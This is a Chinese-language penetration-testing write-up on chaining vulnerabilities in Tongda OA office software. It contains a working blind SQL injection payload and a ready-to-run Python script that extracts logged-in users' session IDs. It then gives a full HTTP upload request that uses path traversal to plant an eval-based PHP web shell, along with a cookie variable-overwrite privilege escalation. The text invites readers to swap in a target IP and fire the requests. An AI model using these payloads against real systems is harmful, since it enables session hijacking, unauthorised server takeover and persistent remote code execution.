0x00 前言
对于渗透测试来说, 后台的SQL注入其实是很鸡肋的, 所以我们的突破点一定是从一个前台的漏洞开始, 比如前台SQL注入. 通达OA的前台SQL注入, 根据之前公开的文章推测数量应该是有多个, 但都没有明确给出payload, 对于没有代码审计能力的人来说是无法直接利用的.
通达OA的数据库为MYSQL, MYSQL注入常用的利用方式:
(1)当前数据库账户拥有读写权限且知道物理路径的时候直接写shell.
(2)当前注入点支持多语句执行且知道物理路径的时候利用数据库日志导出写shell.
(3)读取管理员帐号密码进入后台, 寻找新的突破点, 如任意文件上传漏洞写shell.
但这些均不适用于通达OA. 通达OA虽然默认是root用户, 但却没有启用读写权限, 本篇文章所涉及到的SQL注入也不支持堆叠注入, 且数据库存储的帐号密码是加密的, 不容易解密.
那么我们要如何利用呢?
0x01 SQL注入获取PHPSESSID
给出payload
经过测试,已知的影响版本: 2015/2016/2017
不影响v11以上版本,其他未知.
/general/document/index.php/recv/register/insert(POST)title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=
条件为真时返回302跳转到404, 为假时利用exp()函数报错,提示"SQL语句执行错误",验证注入点存在
先给利用语句
select SID from user_online limit 1;
通达OA数据库中有一张表(user_online)是存储当前处于登陆状态的帐号的认证凭证的,也就是PHPSESSID只要能够获取到这个值,我们就可以伪造Cookie登陆后台
UID等于1即为管理员的凭证(后台多种getshell的方式都是需要管理员权限的)
同一个账户是可以同时异地登录产生多个SID的值,我们只需获取一个即可, 加上 limit1 防止多个返回结果导致的报错,减少麻烦.
好了,现在我们已经清楚了了解了数据库的这张表的作用了,现在我们需要一个注入点,上面已给出.
有了注入点也还不够,我们还需要一个脚本给够辅助我们快速的获取到想要的值
(默认的sqlmap是不能识别这个注入点的)
嗯,脚本也已经给大家准备好了,只需把代码中的"127.0.0.1"更改为目标IP即可使用.
当然,你需要提前判断是否存在注入
# -*- coding:utf-8 -*-import requestsdef hello(url, payload): result = "" payload_bak = payload for len in range(1, 27): str = '0' for i in range(0, 7): payload = payload.format(len, 6 - i, int(str + '0', 2)) data = {payload: "1", "_SERVER": ""} r = requests.post(url, data=data, timeout=10, verify=False, allow_redirects=False) # print(r.status_code) if r.status_code == 302: str = str + '0' elif r.status_code == 500: str = str + '1' else: hello(url, payload) payload = payload_bak result += chr(int(str, 2)) if int(str, 2) == 127: print("系统当前无正在登录的用户...") return result print("第%d位为: %s" % (len, chr(int(str, 2)))) return resultdef main(): url = "http://127.0.0.1/general/document/index.php/recv/register/insert" payload = """title)values("'"^exp(if((ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/1),{},1))>>{}={}),1,710)))# """ print("PHPSESSID=%s" % hello(url, payload))if __name__ == "__main__": main()
这里我只登录了一个账户,运行脚本通过SQL注入获取到PHPSESSID值
查看浏览器的Cookie,对比可以发现是一样的
有了PHPSESSID,我们就可以登录后台getshell,实际上我们并不需要登录,只需要伪造Cookie发个数据包即可.
请往下看.
0x02 后台getshell
后台getshell的方式多种,这里举例一种比较好用的,也是影响范围最大的.
经过测试,已知的影响版本:2017版/v11.0-v11.6
payload如下,直接拿过去用burp发包就行,需要修改的地方有两个
目标IP与Cookie中PHPSESSID的值(SQL注入获取到的SID)
POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1Host: 192.168.238.141User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 173Cookie: PHPSESSID=slq5jj6unfhpo9ekgcfevvbdu0Content-Type: multipart/form-data; boundary=c634d2ccb38357de0be7d154d21ebf07--c634d2ccb38357de0be7d154d21ebf07Content-Disposition: form-data; name="FILE1"; filename="hack.php"<?php eval(@$_POST['a']); ?>--c634d2ccb38357de0be7d154d21ebf07--
这里我们拿到一个管理员的Cookie,替换之后尝试发包...
可以看到,提示没有权限,这里我们需要另一个漏洞来提升当前用户的权限.
给出payload
Cookie:_SERVER=
变量覆盖漏洞导致的权限提升,具体可看代码,网上也已有一些分析的文章.
Cookie中加入_SERVER,值为空即可,发包
查看服务器
返回shell路径为: http://192.168.238.141/_hack.php
蚁剑连接,成功
0x03 说明
1.相对于系统管理员当前在线的概率, 其他任意一个用户在线的概率会大很多, 我们不需要强求获取一个高权限的PHPSESSID
2.本篇文章中所涉及到的漏洞均已公开.
0x04 参考文章
https://mp.weixin.qq.com/s/zH13q6xBRc58ggHqfKKi_g
https://mp.weixin.qq.com/s/Mxa70ew_8ZmoBBaa7Ou0sQ
https://github.com/TomAPU/poc_and_exp/blob/master/rce.py
武汉安域安全服务部(作者:xinyu)
公司地址:武汉市洪山区徐东大街69号
华中电力大厦9层
公司邮箱:whay@wuhananyu.com
如有任何疑问,请您随时联系,感谢您的支持!